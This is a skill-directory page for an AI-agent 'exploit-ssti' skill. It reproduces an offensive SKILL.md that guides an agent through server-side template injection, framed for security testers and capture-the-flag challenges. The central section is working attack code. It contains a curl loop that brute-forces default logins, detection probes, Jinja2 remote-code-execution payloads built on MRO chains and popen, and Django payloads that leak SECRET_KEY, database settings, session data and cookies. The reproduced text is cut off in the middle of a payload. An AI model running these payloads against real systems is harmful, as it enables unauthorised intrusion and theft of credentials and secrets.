exploit-ssti
What it does
This skill explains how template engines can run user input as code. It is for security testers checking pages that render user-supplied text through templates such as Jinja2 or Twig.
When to use it
- βWhen a page reflects user input in a way that may be rendered by a template engine.
- βWhen a security review asks whether user text is escaped before template rendering.
- βWhen a challenge tag suggests Jinja2, Twig, Freemarker, ERB or Razor templates.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you check whether the greeting on my site treats my name as template code?β
5 new skills a week. 1 minute to read.
How it works
The agent sends harmless math and syntax probes to the input, reads the output to identify the template engine, and then tests known filter bypass patterns.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Server-Side Template Injection (SSTI)
Exploits template engines that render user input, achieving RCE by injecting template directives.
Default Credentials Fast-Path (when default_credentials is a co-tag)
When default_credentials appears alongside ssti in the challenge tags, attempt login FIRST before any template injection probing:
# Try top default credential pairs in your FIRST exploit bash call
for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do
user="${creds%%:*}"; pass="${creds##*:}"
resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \
-d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null)
code=$(echo "$resp" | tail -1)
[ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break
done
A valid authenticated session exposes the template-rendering endpoints needed for SSTI β attempting injection on unauthenticated endpoints is often a dead end. Only proceed to template fingerprinting after confirming or exhausting default credentials.
Detection β Universal Probes
# Polyglot detection string
curl -s 'https://<TARGET>/page?input=${{<%[%27"}}%>.' -o ssti_polyglot.txt
# Math-based detection
curl -s 'https://<TARGET>/page?input={{7*7}}' | grep -o '49' # Jinja2/Twig
curl -s 'https://<TARGET>/page?input=${7*7}' | grep -o '49' # Freemarker/EL
curl -s 'https://<TARGET>/page?input=#{7*7}' | grep -o '49' # Ruby ERB/Thymeleaf
curl -s 'https://<TARGET>/page?input={{7*"7"}}' | grep -o '7777777' # Jinja2 (string repeat)
Jinja2 (Python β Flask/Django)
# Confirm Jinja2
curl -s 'https://<TARGET>/page?input={{config}}'
# RCE via MRO chain
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[<INDEX>]("id",shell=True,stdout=-1).communicate()[0]}}'
curl -s "https://<TARGET>/page?input=${PAYLOAD}" -o ssti_jinja2_rce.txt
# Common RCE payloads
# {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# {{cycler.__init__.__globals__.os.popen('id').read()}}
Django (engine.from_string)
When the target is Django (not Flask/Jinja2) and a view passes user-controlled string into Engine.get_default().from_string(...).render(Context(...)), the exploitation surface is fundamentally different from Jinja2.
Identify Django (vs Flask/Jinja2):
# Response header tells: Django sets X-Frame-Options: DENY by default
curl -sI "http://<TARGET>/" | grep -iE 'x-frame-options|csrftoken|django'
# CSRF cookie name: csrftoken (Django) vs session (Flask)
# HTML contains: name="csrfmiddlewaretoken" inputs
curl -s "http://<TARGET>/" | grep -oE 'csrfmiddlewaretoken|csrf_token'
# Admin route exists
curl -s -o /dev/null -w '%{http_code}' "http://<TARGET>/admin/" # 200/302 β Django
# Fingerprint probe: {% csrf_token %} renders a hidden input in Django; Jinja2 raises
curl -s "http://<TARGET>/page?input={%25+csrf_token+%25}" | grep -o 'csrfmiddlewaretoken'
Critical: Django templates DO NOT expose Jinja2 MRO shortcuts. The following will NOT work:
{{request.application.__globals__}}β Django has noapplication{{cycler.__init__.__globals__}}βcycleris a tag, not a builtin{{"".__class__.__mro__[1].__subclasses__()}}β Django blocks_-prefixed attribute access in templates (TemplateSyntaxError or silent empty){% load os %}β Django filters{% load %}to registered apps; arbitrary module load denied
Django template language is restricted to: variable lookup ({{var}}), filter pipes ({{v|upper}}), and registered tags ({% if %}β¦{% endif %}, {% csrf_token %}, {% include %}).
Productive paths for engine.from_string SSTI:
# 1. Settings leak (works when 'django.template.context_processors.debug' or
# a custom processor injects `settings` into context)
curl -s "http://<TARGET>/page?input={{settings.SECRET_KEY}}"
curl -s "http://<TARGET>/page?input={{settings.DATABASES}}"
curl -s "http://<TARGET>/page?input={{settings.DEBUG}}"
curl -s "http://<TARGET>/page?input={{settings|pprint}}"
# 2. Request / session / META leak (when `request` is in the context)
curl -s "http://<TARGET>/page?input={{request.session.items}}"
curl -s "http://<TARGET>/page?input={{request.session.flag}}"
curl -s "http://<TARGET>/page?input={{request.META.HTTP_COOKIE}}"
curl -s "http://<TARGET>/page?input={{request.user.is_st
FAQ
How does the skill identify the engine?
It sends small math probes and syntax strings, then matches the result to the template engine that produced it.
Which engines does it cover?
It covers Jinja2, Twig, Freemarker, ERB and Razor.
Does it need login first?
When default credentials is a related tag, the skill tries common test logins before probing templates.
Details
Original description by the author
Server-Side Template Injection (SSTI) β RCE through template engines. Covers Jinja2 (Python/Flask), Twig (PHP/Symfony), Freemarker (Java), ERB (Ruby), Razor (.NET). Includes engine fingerprinting, MRO chain construction, and filter bypass.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14082
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.